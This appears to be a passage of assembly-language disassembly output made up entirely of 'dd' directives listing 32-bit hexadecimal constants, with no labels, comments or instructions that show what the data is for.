		dd 9DABA814h, 0E688D6h,	62B06F29h, 54EA551Ch, 8B60821Ah
		dd 80058C91h, 0A5BB008Fh, 97FE25C5h, 1C98A752h,	39B1DC80h
		dd 8B355B00h, 0A16655D6h, 7B47FC4h, 8548D9EFh, 0F453042h
		dd 5E00AF7Fh, 36D876EEh, 7972DEDh, 0B95D668h, 0F94963CDh
		dd 0B2D03Ah, 9312ADC1h,	0E6285396h, 19B03B3h, 0A058AB39h
		dd 0CFDC8FB0h, 474C7600h, 0B863ACB5h, 2A663EC9h, 3BA36A85h
		dd 4AF2C0A9h, 0D24DF54h, 0D50484E0h, 1F28E306h,	0CD0E56F8h
		dd 209F307Eh, 0B11D0779h, 1824047Ch, 0C7FE838Eh, 74AF5098h
		dd 51006A7Ah, 0D777B90Eh, 22091Ah, 0A514126Ch, 583E6803h
		dd 42BD98A0h, 5B1CFB7Ah, 0A0804909h, 8DBF4E5h, 0BB610FBAh
		dd 0C8891E4Bh, 3B33FC02h, 40977849h, 0AF38CEAFh, 955B6103h
		dd 0EFD04F79h, 87E19680h, 0B67803F2h, 2EC379Eh,	74C10DBAh
		dd 0C994FC90h, 0A6C88F00h, 92DC1ECFh, 74D60062h, 58E4BD88h
		dd 0B524148Ah, 0D20054B2h, 8770C476h, 0B6650066h, 0FE803D09h
		dd 3600DBE2h, 0BB1B2681h, 9FB92D3Eh, 7D004278h,	1ABE4AF6h
		dd 9D5F02h, 0F370A163h,	2F90B9D3h, 0AEF91401h, 0C2DDE252h
		dd 0EDB4E0F6h, 54110084h, 0D7D8914Dh, 0F0C0120Ah, 0E7800D78h
		dd 0E0300C0h, 362BEA04h, 2300E34Dh, 55A25D97h, 5C0CE94Bh
		dd 7F07B949h, 20D48A54h, 1701E2DEh, 28070DE4h, 1B02DA45h
		dd 4F61F160h, 413F39C2h, 42AC5900h, 6956363Dh, 0AA3C4C00h
		dd 1A9FA605h, 0FD740384h, 65E8989Eh, 5F803413h,	80191809h
		dd 0EE318EE0h, 64370077h, 0CD17E70Ch, 990FA894h, 202CD0A1h
		dd 43CFD81Eh, 90485988h, 4F289200h, 9AD4B924h, 11D3509h
		dd 566C48E5h, 74C7477h,	0A6606AB7h, 9C8309B4h, 84904B95h
		dd 24FC9FBBh, 0FCEC58h,	7AF3528Fh, 335A254Ah, 13A41DDBh
		dd 0FC91C5FBh, 8052C84Ch, 857A231Fh, 0F07650Bh,	5CF24098h
		dd 1F04BAh, 1106484Fh, 0F7A09F4h, 75682D3Fh, 0F0838400h
		dd 755AD544h, 27B4004Dh, 0EE107FAFh, 4100FD4Bh,	0CCDC56A7h
		dd 39445A7Ah, 952EA332h, 402302A8h, 2CC9617Bh, 79588014h
		dd 0A3E49705h, 902E2EC8h, 88293086h, 5200E596h,	0D837783Fh
		dd 0AE5C5Ah, 42978C9Fh,	0F4792CBh, 435E7700h, 38BEB71Bh
		dd 0A26F2CC3h, 83790064h, 0B9B0E723h, 3194521Eh, 0D19739C0h
		dd 19F60Ah, 0A80DFBC3h,	0CBD9D7B6h, 401F4798h, 95809F76h
		dd 246D9DF0h, 3518C10Ah, 287BD991h, 0B41F00C0h,	113D50B9h
		dd 0A2AD1363h, 8E3DC02Ch, 0F900F06Fh, 806B4ABFh, 357719Bh
		dd 0D0124FEFh, 4BF32973h, 682822B0h, 63E8C00h, 0C7C386BAh
		dd 0F19D0245h, 0C54FF390h, 40E61060h, 7D18301h,	11CC2A7Bh
		dd 3ED26130h, 0F31D470Dh, 59ADDF2h, 369C550h, 7B08FB18h
		dd 0C700BFA7h, 0EDB9A43Fh, 9E8B08C0h, 0AAA240h,	8D0B1D37h
		dd 0E64AE9B1h, 180046EAh, 0A3675B65h, 704ADF0h,	98AE5186h
		dd 0DEBC0ACh, 0BC7C9C35h, 68F1FC30h, 6999D50h, 0E4E2FB90h
		dd 0F9F970B0h, 8055F160h, 0D1ED2F98h, 1B8B788h,	1611B406h
		dd 316515FCh, 2E31814Dh, 37C7F1B5h, 5FEBA88Eh, 23ED439Eh
		dd 0E80AF28Fh, 6844F150h, 4D00AF10h, 0B74CAE1Ch, 7D0045E1h
		dd 616F87EFh, 0C8B5Ah, 51B397ECh, 5423B731h, 52044000h
		dd 0A6878FE1h, 0B85839EDh, 487B4700h, 0C2AA9C3Ah, 5B1E82ECh
		dd 1F0065C3h, 9EBEDAEh,	618F00CDh, 6F84F417h, 0C1002860h
		dd 642D0B81h, 5B5787Ch,	7EAC52A6h, 0C5B4C09Ch, 0DE00E440h
		dd 0F170AED5h, 979925h,	5BBCD72h, 0E278544Fh, 0A77CBD00h
		dd 4A664C30h, 751600D2h, 0A4A9C7D5h, 0EF268557h, 270306EDh
		dd 0E0F3AA54h, 0F88BAFD6h, 61840ACEh, 9E8842FEh, 0AB9180E0h
		dd 0F1A497EDh, 8CDC578h, 9ECC217Ch, 533A0391h, 6DC1720Ah
		dd 0EBD0D5A8h, 60133ACCh, 40707FB5h, 0A568A408h, 215C3438h
		dd 0E78184D7h, 1652FE93h, 0BE80E8h, 0C46A7F34h,	7535D00Dh
		dd 0FEFC5092h, 1F5110F7h, 11090E81h, 14404524h,	2A93FF1Ah
		dd 9B92DA09h, 56FF0354h, 0FD4022D7h, 7B96E648h,	0DBC78400h
		dd 5191E8D9h, 59EA2Fh, 78E5DF52h, 407C7534h, 0E328991Ah
		dd 6E674039h, 0A99D0317h, 0B965448Fh, 21EC0830h, 0E6E0AB0h
		dd 55A5DC53h, 1B38AA81h, 6BB99F46h, 0B8B4F82h, 0CD827DE5h
		dd 0DDE12779h, 0A19847ADh, 40830A80h, 0E643EBA4h, 52C06103h
		dd 80A5087Dh, 1ED163h, 66D39B93h, 5181D26Ah, 73748E00h
		dd 94B991DEh, 0FE00063h, 5727FDE1h, 0E03E20Dh, 0D3DFA944h
		dd 0EF55E88Eh, 0B44C0052h, 0F812650Bh, 0D900F03Eh, 0CFDB7739h
		dd 356C59Fh, 5C4BDE1Bh,	0CFAAC7h, 38998408h, 0F43B7100h
		dd 2746F969h, 88EC0061h, 9D166241h, 6F004EA8h, 5EA4CD13h
		dd 7FDFDEh, 0DCFA06A0h,	0F69F0A5Ch, 10053B32h, 8604953Ch
		dd 10B636A3h, 26E88D01h, 759928DAh, 0C371C4h, 9BA6A8F4h
		dd 2F36A421h, 8DC1F514h, 0E8296EAAh, 0A3CF8874h, 8830D288h
		dd 9D942B5Fh, 4F061128h, 33086E21h, 0C99134h, 0ACE97988h
		dd 3A5EA31Eh, 0F3D89Eh,	0C6559702h, 2CA1BD46h, 80C2AD3Ch
		dd 4DE9394Bh, 41032Bh, 25E8DA16h, 0FAA81FD3h, 27C5A601h
		dd 36A01510h, 1CD164E0h, 1E4AF1h, 788CEDDEh, 63B9F6Ch
		dd 0BFE38059h, 23EBEE35h, 7BE700F6h, 0A64341E0h, 4D0E898Ah
		dd 0E0E6B477h, 0D83A342Eh, 0B1CF06FAh, 1149987Fh, 773F6700h
		dd 0DA8D5575h, 52FFECCh, 3CEB4664h, 0B0BC4021h,	7D276BCFh
		dd 0F800FDE6h, 6AAE373Fh, 94A52Fh, 92FA8BD5h, 41768A4h
		dd 6919E200h, 0BF06CC41h, 3B5F0365h, 8ACE2F27h,	5E8294B0h
		dd 0CF92CA00h, 74FC6A7Eh, 0A5405897h, 3FFAD900h, 0C9AAE2B5h
		dd 8B6F1B3Eh, 685B39h, 0D0FB0AC8h, 508103F0h, 838AED3Fh
		dd 367EA107h, 187523BFh, 0CE437E80h, 0ECC2B063h, 0FA6509CDh
		dd 9C014571h, 0D9B4B8D9h, 39E4E406h, 0BAAB3600h, 109FC5B5h
		dd 0ADD00081h, 0B74BE56Ah, 0B33DACDh, 2330ACh, 757B2560h
		dd 0ABE7340Fh, 46C018C0h, 1F4173C3h, 0D94F0854h, 3096787Ah
		dd 0BD1428C6h, 0B46444h, 0D40789B7h, 0DBEF98h, 7181AEF3h
		dd 0DA3B146h, 0C7CC300h, 95D1154Ch, 0AB0B0380h,	61626F6Ah
		dd 0E4FB27B8h, 86A0ED01h, 0FDCBB219h, 12FFDAC8h, 2C6FACh
		dd 0A99E758Ch, 4B01C6EBh, 64C4A5EAh, 12C48C2Dh,	4E3D0092h
		dd 0C3887AE0h, 200A3C9h, 5C015662h, 0A697D2Ah, 0AD12A69Dh
		dd 441A00F1h, 0F3732D77h, 32E8000h, 0BA724F10h,	0C4F100B6h
		dd 6B59D240h, 867945E9h, 0CD00A6B0h, 0C2100F39h, 22AD0FFh
		dd 6592E44Ch, 0C409408h, 4BF87C99h, 1093F530h, 16F0641h
		dd 0AF1831BBh, 7E99CEB0h, 2820F4E0h, 24EC1296h,	3C7CF4B7h
		dd 0E444FD00h, 8C239D58h, 55C921Eh, 0A3D7DD40h,	0E8CB1Bh
		dd 4B0AA87Bh, 9EB13A2Eh, 1F23FC5Ch, 190055D5h, 0A51CD7A4h
		dd 0F08D507Dh, 16420B2Ch, 0E803D141h, 45B0B5D3h, 0C002791h
		dd 665F5CF0h, 0E6873C2h, 0F62D70DCh, 57B70140h,	5E00B14Dh
		dd 69587C1Eh, 5377E30h
		dd 66EF8A1Ah, 0A2F40079h, 877A5D2h, 0F00768EAh,	6A369C86h
		dd 47462B60h, 94D912ABh, 0BEA44092h, 553C349Dh,	48411912h
		dd 0B2038400h, 0E2A4684h, 0CAE713D6h, 0A6EECF80h, 0ED00F851h
		dd 9EC710F4h, 30805734h, 14783B65h, 0E000C23h, 0A5721764h
		dd 0C1B1B9h, 88103CCAh,	0AE6E4F58h, 6DEF1900h, 0DCA6BCB2h
		dd 502C03CBh, 4EDF40ABh, 75C0B1C0h, 0FE0B3A90h,	6B025Bh
		dd 2AA56F04h, 67F600C2h, 0B1FA57D0h, 0C005A40h,	0E4275D3Ch
		dd 26EE4426h, 1C166BCEh, 251840D2h, 0B4CAEC57h,	1C5A2400h
		dd 0F8C2813Ch, 0A7560007h, 6DAECE0Dh, 0DB008F0Ah, 0EC3C8C4Eh
		dd 804F21h, 0D2FD2361h,	79553F9Bh, 9DB23202h, 406ED301h
		dd 0CC786E4h, 591D1C61h, 0C300D9F0h, 6EF8CD3Ah,	3216F9Bh
		dd 0E41FA6D7h, 41001D7Fh, 8CC3D862h, 0F9CFA5h, 0E3265650h
		dd 7B440868h, 0D3F64500h, 9773E680h, 0AD0F0209h, 4E7F2EC8h
		dd 0E00B11E1h, 7C0EF636h, 80D972AEh, 3941E8B2h,	62760098h
		dd 0E5578D4Ch, 130028CFh, 962DD9E4h, 51AA7Dh, 34260FACh
		dd 7E6C532Bh, 22F23800h, 1A4A7232h, 0DA2D006Bh,	0C2F66A7h
		dd 0F402C1A1h, 883D63B2h, 905E6040h, 8B1500EDh,	1DC8C2F9h
		dd 3AE697C1h, 92BBF700h, 95314922h, 60BAF0E7h, 9F298E9h
		dd 1D00BF51h, 9ED56284h, 7E908C70h, 8DCE0060h, 6A1C34A4h
		dd 5C0CF4BDh, 0B1DA4C61h, 51D700C0h, 33A47056h,	0D2077AD4h
		dd 4685BC44h, 0DD78C560h, 0B3A30042h, 0D8C6AFE8h, 1E00A2E3h
		dd 0F5A0D936h, 175767F1h, 2B5802h, 59DF4A7Dh, 6E06AA47h
		dd 9631BE6Fh, 0A820370h, 9DA81D5Dh, 92E93B8h, 71EA1400h
		dd 51A55B3Ch, 72C70017h, 4D83948Bh, 22249764h, 460040E3h
		dd 9F8C844Fh, 242775D1h, 0A20CCECDh, 0DB14009Ch, 0EFAD05D5h
		dd 260F86B5h, 6A04D3F7h, 39F4DEh, 73A848C2h, 28BA0AD0h
		dd 0E0A87D53h, 0C43F0078h, 0BECC87F0h, 12039A74h, 5C5ED493h
		dd 0F3A3806Fh, 56530338h, 0AA9E8B28h, 2E894000h, 693B911Fh
		dd 0F900058h, 3CF7BBEEh, 0EA007ADDh, 0F467DE56h, 0C9C016h
		dd 0BB95C142h, 9F54FD04h, 0AD338B00h, 0C77FE1E3h, 55FE0ECAh
		dd 0C6076E5h, 147D8139h, 59251107h, 0E6D0D4D1h,	0FE44AEA4h
		dd 0A38E02F3h, 0D9AA2F6h, 6D0F8046h, 18DBA91Fh,	0C8D078h
		dd 54282FFCh, 93A6A5D8h, 0DB1E8F00h, 70E02C16h,	6D351265h
		dd 989440C7h, 11C23981h, 851D9E1Fh, 7403E8C0h, 6B107FEh
		dd 50E2C18Dh, 2C00103Eh, 0F828FA32h, 0E4AD0BCh,	7BC3CDDEh
		dd 161BC2E0h, 93F48096h, 9312B0Ch, 7E60A7h, 62FE40B3h
		dd 155E1891h, 0F5C2653Ch, 0ECE2CC00h, 0B3B1BC3Dh, 0E3EEDCh
		dd 8A3E7754h, 0FA876D88h, 7AC24326h, 80D7D50Eh,	9E95CAD1h
		dd 0E9230121h, 624AAD70h, 0ABF8804Bh, 106ED788h, 0A301007Ah
		dd 0D57F9338h, 9E0A9DD9h, 90CCAE11h, 0C5605180h, 2A6D4h
		dd 8A04E737h, 0DE18ECAFh, 54256B01h, 0F703648Bh, 984AC4E0h
		dd 0A2850073h, 26639767h, 6D00D23Dh, 0B8E59FF3h, 0FF3A09h
		dd 0B03C8A51h, 47A8BBBEh, 18E32100h, 0DE3BC537h, 98FA5012h
		dd 0A38F0040h, 6524FB1Eh, 1B0468DDh, 0B286A74Ch, 0A0486680h
		dd 6F2B0E80h, 6280D540h, 1960E897h, 9CB0FF00h, 0DDCC4388h
		dd 0A72C00A6h, 0D1F267A0h, 0F603EFB6h, 9585B293h, 8FF4C88Dh
		dd 13E770Eh, 0C12A0B5Eh, 526C8EE8h, 14A0B180h, 2D0A09D9h
		dd 2FFB0C0Fh, 0D000D62Ch, 8FEA19D6h, 18DA905Bh,	0C07FA197h
		dd 9B00BC87h, 240B3043h, 39C1A7B3h, 1800822Fh, 549EA013h
		dd 4B015BD7h, 0B1BAC39Bh, 2A707969h, 0DD1701BDh, 0FDC4E40Ah
		dd 0C3212096h, 0A9780300h, 2C30DBCFh, 13C51243h, 0FA08002Bh
		dd 75791AD7h, 78008BFEh, 7DE270B3h, 0E064B4Eh, 38369750h
		dd 80C54144h, 0C82779E9h, 63295C26h, 30BF7603h,	0B3F8082Bh
		dd 5200E045h, 685D2960h, 3934902Dh, 43803CC8h, 6AF16BC1h
		dd 0D60348E0h, 59ACF78Ah, 29F6CDh, 17BA0CF8h, 0BE117D4Fh
		dd 84AE4113h, 58FB2200h, 2CA06899h, 8B3E78h, 0B894A58Fh
		dd 3F3F6FDDh, 1848B7h, 2FFE8CC7h, 11E319Eh, 8C3CE62h, 83695181h
		dd 1AA20620h, 6452D130h, 45D060h, 7CE9C597h, 0A5DE1D51h
		dd 78EF8F00h, 0BD39D0D5h, 0E28013AFh, 9700724h,	7F9B0B9h
		dd 0EC009BEEh, 9A62083Fh, 3B541E6Ah, 0FA80FD46h, 0D807555Bh
		dd 2348A71Ah, 107F75C3h, 0F14C5607h, 6F33B4E9h,	0A01BE0B2h
		dd 0E47D00E8h, 0FCF93C9Ah, 0E9005D3Ah, 4096F4E2h, 30D249F2h
		dd 5590D4C4h, 4F30CB4Ah, 439111C5h, 9FB500B9h, 0ABE96F05h
		dd 8971FD98h, 3D84EA1Ch, 3A555100h, 8E33A5h, 0FDAEF515h
		dd 0EFABC4E0h, 0CF00507Eh, 0A5AF2FB4h, 18C8037Eh, 215FB93Eh
		dd 61147DDBh, 729C9BB2h, 7E086706h, 0F82107FCh,	879604BCh
		dd 0C39A2A1Bh, 808DAF40h, 257545EDh, 41D5C00Bh,	0F0C682DCh
		dd 0D810E38Ah, 699ABBh,	0F9E78087h, 0EF70CCA3h,	9184FE1Ch
		dd 149FDB40h, 0E851180Dh, 1A2C0175h, 53F8BF23h,	0A4C0CFD2h
		dd 8F04C9B0h, 0A85E7372h, 0A3B33CC0h, 1E1005Bh,	0F26313ACh
		dd 0D8A0E33Ch, 0BA007E4Fh, 46B444D7h, 9287CFC0h, 0B0C953B0h
		dd 48A20418h, 0CFF28A95h, 0E0B73318h, 0E6F140h,	65788001h
		dd 9C9BE786h, 4E17130Ch, 3C2085h, 2E84E44Bh, 10864090h
		dd 33776501h, 0F08E2DFBh, 6DFD2D21h, 1367E030h,	5F70C6h
		dd 8EA83654h, 2C008276h, 0CE59EAA5h, 41AF1BFh, 95A2A7Ch
		dd 5588806Ch, 5C0062B1h, 0BD304B26h, 3060C606h,	7F212EC0h
		dd 29289C02h, 0DE00C080h, 0D6FD2A92h, 2CCA9Eh, 0C64BBF79h
		dd 0E9629AACh, 0FECF305h, 84816E42h, 8CD42E0Bh,	0BB19174Fh
		dd 0DCC20BB1h, 0A3521600h, 3207F80Eh, 0A7D57ED7h, 58CD7710h
		dd 54920FABh, 3681FF45h, 0D0941A9Eh, 0A700DE23h, 0E2F2B9ECh
		dd 21EF0A8h, 5CBB4537h,	0B880245Ah, 96DBF668h, 0FDECC200h
		dd 0E4039793h, 9B2B015Eh, 7FA91CA5h, 2896E438h,	0E932ED07h
		dd 0DCB055D7h, 0E5681Fh, 27645BB5h, 599F650Fh, 3C5AD000h
		dd 4B8EEFB7h, 37B00AAh,	9743670Ch, 89013069h, 0E090B279h
		dd 0C06437FDh, 16120028h, 0B9515983h, 5C174661h, 30203C0Ah
		dd 779AD2FDh, 78C9824h,	292C31E4h, 0FF4C9119h, 0AFA7C4D8h
		dd 0F3C76201h, 80094445h, 7997E847h, 64244082h,	87D200BCh
		dd 9339FFA1h, 52039BD6h, 721C95F7h, 804A9A18h, 0D2A847B8h
		dd 0D54217D7h, 3301BE2Dh, 77552C63h, 12ECF830h,	5EF14Ah
		dd 8F034963h, 0C2009A20h, 4EDEE410h, 48AC53B2h,	87007BEFh
		dd 8E7C3491h, 0E905657Fh, 261598FAh, 6F621C1h, 0A6D2881h
		dd 80FD727Ch, 0DCDE4D11h, 4CC442Bh, 0C0501595h,	0BA90885Ch
		dd 0BBCF0284h, 8DC79348h, 2840A4AEh, 0A9DCD99Ah, 69811724h
		dd 2ED8C407h, 444C8A39h, 0C27C6707h, 36101Ch, 2E6E08E6h
		dd 0B1EF96D9h, 90C459h,	42E2B6B7h, 2066D18h, 355F7FD8h
		dd 4C0971Eh, 0E43AF3C2h, 7878B7D0h, 0B46E7E0h, 91F42E6Fh
		dd 75C4005Ch, 0FBAFD3C6h, 0C660109h, 0F34080CEh, 0DAD283h
		dd 0F02F8F5Bh, 9287B6E5h, 0B755E405h, 0DAC0451Eh, 0CB5E177h
		dd 27998A1Ah, 82000510h, 0F91ED237h, 3457111h, 0FEB90633h
		dd 0DA90108Bh, 2700D49Eh, 6AF25109h, 74120BDFh,	31C4609Ah
		dd 0E3AF19Ch, 0E8E4D701h, 0CA5299DDh, 3316B840h, 32EA002Eh
		dd 0BBE56931h, 97040735h, 68AE1DC6h, 0C7A4B0h, 0E218BD7Ch
		dd 2D64361Ch
		dd 8685B005h, 88907E56h, 10EF626h, 727B83Fh, 30CB3D4Fh
		dd 6AF60630h, 84948F00h, 9CD6A638h, 0F16400B3h,	7EC0807Ah
		dd 985C46BBh, 4B28169Ah, 0C8EF6900h, 3B82D93h, 33897763h
		dd 6C0010A1h, 99349EFDh, 5CE5D581h, 0AC0091D9h,	0BC9871B3h
		dd 2400695Dh, 8DA3B7F1h, 0C0BD3D3Eh, 73A9E461h,	7F5A4033h
		dd 48350C00h, 6F80B6h, 3908ACB3h, 9A6E23D7h, 0A38E9501h
		dd 0EFFB86DEh, 7C84E8h,	857417BCh, 0CCCB017Bh, 270036FEh
		dd 4173223Dh, 0C0374C16h, 39320A10h, 0A04C4F3Bh, 0E58A12B8h
		dd 0D3379480h, 0B1050054h, 25CCF1A2h, 530CF9FFh, 66198890h
		dd 8F2C1446h, 0FA0E78F7h, 5121831Fh, 9E7227A6h,	81804BB8h
		dd 0EBE1388h, 0A0620061h, 3A8A32DCh, 48908501h,	44167100h
		dd 5147F40Dh, 0E7F60946h, 0A064569Ch, 4F522E00h, 43A299B0h
		dd 6DD3019Dh, 5992E2B2h, 0B1277064h, 0A3EAA4A0h, 0BCBEA800h
		dd 887627FEh, 869A000Eh, 4806CE6Ah, 0CC92D5A6h,	0EF1A3400h
		dd 0B1A09DA9h, 47640077h, 5E37F3C8h, 0F400BFB9h, 6186AC1Bh
		dd 9EE1FCh, 9574E3E0h, 419C4C3Dh, 4940010Bh, 0C3648082h
		dd 4C9E94FCh, 2200A463h, 37C4697h, 814B70B8h, 16FC0Eh
		dd 930A82D8h, 47661811h, 9C37186Fh, 0D2AEA904h,	0D091B953h
		dd 0C43EC34Eh, 3B8C9165h, 4843C85Ah, 0E4752B00h, 7D16876Fh
		dd 624B1355h, 5CB4406Ch, 0DE7C2FE9h, 11882969h,	0E24061B0h
		dd 194D5C4h, 800F9DD9h,	0D849428Ah, 9E1C1741h, 0B8EE39h
		dd 66D2B059h, 0FFCECCh,	95F2D12Ch, 4AA27CA3h, 1328D000h
		dd 395F3B08h, 3F6F0088h, 0CFDDEA4Eh, 6B006871h,	0A0BF15F4h
		dd 13DEAD55h, 0C0A356D4h, 8C2388E0h, 7C94CF18h,	121D5C1Ch
		dd 5C5B0F5Eh, 0FAF8806Ch, 6EAE3BBFh, 0E73F647Fh, 0DA9017Ch
		dd 0DD9D3951h, 0D4327431h, 92D92160h, 103BBA6Bh, 0A712FD6Fh
		dd 0B7131185h, 786A6000h, 7D6347h, 290823D4h, 0B5BE8B3Bh
		dd 0E1F52200h, 82567718h, 0B4E203ADh, 17088D9Ch, 0EC5436D8h
		dd 14F20C00h, 0B871B80h, 3EDF00C0h, 215D5772h, 0B807BE84h
		dd 0A4BCCBABh, 73566E10h, 68C7553h, 5570A74Eh, 4A12B0E2h
		dd 0A8408379h, 9B72C78h, 0B5C41CA7h, 0C94D45A6h, 0A4100633h
		dd 9B414875h, 32D02BD9h, 7DFA0CB0h, 0CB187757h,	0FC832207h
		dd 4B82DB12h, 56348196h, 0A603844Eh, 0BF0E6006h, 26281458h
		dd 13BE1196h, 0D0F48006h, 4CA918C9h, 0AD023Ch, 0C972A713h
		dd 12201C43h, 0F7D500E3h, 0DBC40035h, 68D124B2h, 71078717h
		dd 9601F826h, 807547C2h, 6D651F3h, 0F09E0059h, 7988115Eh
		dd 650054ACh, 9623CEB7h, 4CB65745h, 6D0083F9h, 4CAC603Bh
		dd 24006E4Ah, 76117F9Ah, 1D0CB130h, 4F6A5347h, 2B005202h
		dd 97DBF85Bh, 0AFB01100h, 9D6DF993h, 9006FEE4h,	2CC504CCh
		dd 909E782Bh, 0E63AA91Ch, 89FBB000h, 0B1C8F11Eh, 77E40459h
		dd 0C086EB06h, 8B4B08DBh, 0F88D4531h, 805753D5h, 88A25110h
		dd 0BB1A00B7h, 5DF254C0h, 0AB0160A3h, 0FD97CB9Ch, 3AEF04B2h
		dd 0C8836731h, 0CECD1323h, 620351D8h, 21F5D530h, 3A0521E8h
		dd 0AF00FE26h, 0A9345D12h, 1E031D15h, 0C40C7C72h, 0CC46B8C8h
		dd 0FEB10E32h, 5420D073h, 8262A038h, 50D949C0h,	0E8AE96C7h
		dd 0ABF303B1h, 4FD577F0h, 0DA552100h, 6822CD0Fh, 1138004Ch
		dd 0CF5A9AC2h, 9F0585B4h, 0D87BD4A6h, 32E71800h, 3B134E37h
		dd 6580C489h, 6C64EFA6h, 53008E17h, 0C29993F1h,	5C04B67h
		dd 6A5C9AFDh, 4333C044h, 0DF1CB95Dh, 0E7C0B18Ch, 4B224703h
		dd 0D2B21DD0h, 4F7A3B05h, 0D57C0563h, 4ACC41C9h, 802A06AAh
		dd 77DF4019h, 34F7A9Ch,	0B81B528Dh, 9FD0AEAAh, 73005D06h
		dd 530DB66h, 0CB53A6h, 9158A449h, 0A222236Fh, 89A16E00h
		dd 0D361C87Ah, 107868DDh, 4C507504h, 73793E1Dh,	62E8007Dh
		dd 5A84BFBAh, 0DD00943Eh, 35F8699Bh, 6EB44C7Ch,	634626EAh
		dd 7E422928h, 11F7BE11h, 411EB40h, 3DF2115Eh, 9CC4D938h
		dd 2AAA28A0h, 18089689h, 0C7888944h, 0B15B2029h, 30511DBEh
		dd 4A00EB09h, 7164D232h, 373FCD5h, 22DF98Dh, 0D68E0E81h
		dd 4BEB4204h, 0F080E19Fh, 0D05A2Ch, 570632C2h, 0A10E1FDAh
		dd 53007EF6h, 0FABAA9E3h, 5C8FCC03h, 2600AACBh,	98652117h
		dd 2C009B16h, 62FEEE75h, 0A02D9h, 44C7DB3Ah, 7BA184C1h
		dd 0F93B1700h, 0D7BBD21Eh, 5EC800A0h, 1093780Ch, 4A0A0340h
		dd 0BCA52A2Ch, 0D523E101h, 0B6C46F86h, 7B6A0037h, 462BD0BCh
		dd 5D00BD45h, 30D391C7h, 6BBE5876h, 0D000806Dh,	9731E2D9h
		dd 0FD83A918h, 0DD9519h, 18AB4087h, 0B93A4A02h,	9768A360h
		dd 767F9E83h, 0D3AF004Eh, 99816A5Fh, 0F00BDB3h,	0F0E6BFECh
		dd 0F013923Bh, 0BAA006Ch, 4F5802D5h, 0D60060D3h, 5C7AD47Eh
		dd 162C309h, 76FF1C73h,	0D4050E48h, 0E200E7E6h,	2D7ED1F5h
		dd 1F14ABE0h, 49B6E1h, 784E90F9h, 29006C9Fh, 657AFFDEh
		dd 76A2FE1Ch, 48A3ECCh,	68857780h, 0BA29CD3Eh, 4AB19500h
		dd 572E5001h, 6EC90067h, 0D4449D73h, 1800B952h,	31BCF88Dh
		dd 71CF5E7h, 0A2348B29h, 0B2208176h, 2007FDCAh,	1873A106h
		dd 15003B7Ch, 638D5E3Ah, 50F9DA92h, 722E05Ch, 0D866D62Ch
		dd 0F5BB2059h, 0AA00F3F0h, 4927C3B2h, 7354B8C4h, 11190777h
		dd 432BEAEh, 6188309h, 3CA98B80h, 710005E0h, 435ED0E3h
		dd 0FDF879h, 3596AE34h,	0AD68AB0Bh, 12587F14h, 0DAAC05D4h
		dd 0F840BDCCh, 0CFAFC4CAh, 0E636015Fh, 392EBF93h, 557E6065h
		dd 0B3AEE900h, 0DA9FA7C6h, 6DCE00ABh, 690EC0A9h, 24F61FCCh
		dd 8F0020DFh, 0C4BBB64h, 0A0293FF7h, 0F0DC24h, 2F94FC32h
		dd 0B00622Bh, 22558D7Bh, 3DAAE2DBh, 2600D4C8h, 0D27A5ACh
		dd 0B2009F09h, 0E4A1F13h, 249896B8h, 6C7054h, 0CFF63EDBh
		dd 0C600AC15h, 0D0881C4h, 1E1DF3EFh, 40D253B9h,	0E1AA9832h
		dd 0BB070143h, 0F1908AEh, 0C0555030h, 959200D3h, 7BC966DAh
		dd 51004F0Bh, 307AD74Bh, 3CC8C27h, 0F314831Dh, 700081BCh
		dd 9D2FE909h, 0A42950h,	15E2E396h, 5B94CA74h, 0C44CC11Dh
		dd 7B80F7C0h, 0EC72AC88h, 2D6100A9h, 7C3429F3h,	0F400A33Eh
		dd 5480A1B8h, 98C2BD73h, 5EBB0078h, 0F8EDA8E8h,	0D4485222h
		dd 177098Ch, 2C0980EBh,	8987BDh, 456FCF8Ah, 0A0F45785h
		dd 26A6AC00h, 339F9EDDh, 7AC8002Ch, 0A1AEB446h,	7B1C743Ah
		dd 8E802085h, 0B69B1867h, 0B7131C93h, 0E12F0h, 0ABED1FA4h
		dd 9090E70Ah, 4E17F00h,	96463165h, 2D5D00CEh, 401E6EF5h
		dd 0CC009ED2h, 25108EF9h, 1CEA637h, 7FEAF74Dh, 0C42231A7h
		dd 213E24F1h, 0F2CF8075h, 0D327C48Bh, 0A65B3BDAh, 5413A4h
		dd 0C7AE236Ah, 32134853h, 6F00F68Dh, 716785EBh,	0E7C9007Bh
		dd 44433A3h, 27009E81h,	0F80B7356h, 3EB0D6Bh, 0CFF2DA02h
		dd 1AA0CD62h, 967E20AEh, 7B732800h, 0CBA58041h,	0B0320156h
		dd 0C2F2D8F4h, 6460E676h, 470E5C26h, 5FC48339h,	54CDDD80h
		dd 5A9B2E2h, 0CA09AAB9h, 0AD64C0B0h, 0D6078B6Fh, 0DF2E6DE1h
		dd 0B42A7BC0h, 0B7303991h, 0A7E7590Eh, 74DB9DC0h, 9C13CB15h
		dd 800EA64h, 5A3AB548h,	3E1D00B2h, 0D441A2DDh, 951C0DD1h
		dd 6A80FD64h, 1620E9F4h, 0BE860E17h, 0C3A0AEDAh, 0FCC50F5Eh
		dd 1C8D4B01h, 137DC7BAh, 7DFB18F4h, 0D45900F1h,	0D632A9FEh
		dd 0A70B091Bh, 7B4B38h,	85C0959Ch, 1A7D2450h, 9A71800Ch
		dd 0C52D57A3h, 0CF5E6B00h
		dd 0C630E7E8h, 1B3ECFDh, 7BE6A071h, 0C01F57E0h,	7800B994h
		dd 52A88206h, 4CB62Eh, 0BEBB6F4Fh, 1253F975h, 11DBE60Ch
		dd 451843h, 0FAC7F542h,	13D08EFBh, 890E7400h, 87702EEh
		dd 0B12B0004h, 2C9C5D6Fh, 9730F554h, 0AD848E22h, 276B0002h
		dd 5931D96Dh, 0CB00D566h, 8B2BBCDDh, 79B129h, 6C80D0F7h
		dd 476EC78Ah, 7FC43401h, 77905E70h, 86CCD4h, 0AE212AC3h
		dd 2CDDA104h, 4CA69700h, 0F01BE613h, 0E2580044h, 8B036E1Eh
		dd 46001C7Bh, 49332079h, 73FD4D15h, 0C65F0041h,	0FE30FCD2h
		dd 0B6006E83h, 4C89F380h, 0CA5531h, 0A7D058Bh, 6FB2B509h
		dd 4AC839h, 219182C6h, 0E60836A2h, 5F640037h, 0CD90192Ch
		dd 0A500A13Dh, 4B9B5C15h, 75D791h, 0D41AEDD2h, 0BB9AFACEh
		dd 3572570Eh, 0EC5A6093h, 71861E7Ch, 0BA400F8h,	0B4BA144Ah
		dd 0CD03A6B1h, 88B0F543h, 4E801F56h, 444603D7h,	22A07C98h
